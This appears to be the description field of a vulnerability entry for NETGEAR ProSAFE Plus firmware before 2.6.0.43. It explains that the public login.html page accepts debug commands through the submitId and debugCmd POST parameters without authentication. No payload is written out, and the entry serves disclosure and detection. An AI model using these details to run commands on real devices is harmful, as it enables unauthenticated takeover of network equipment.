  description: NETGEAR ProSAFE Plus  before 2.6.0.43 is susceptible to unauthenticated remote code execution. Any HTML page is allowed as a valid endpoint to submit POST requests, allowing debug action via the submitId and debugCmd parameters. The problem is publicly exposed in the login.html webpage, which has to be publicly available to perform login requests but does not implement any restriction for executing debug actions. This will allow attackers to execute system commands.
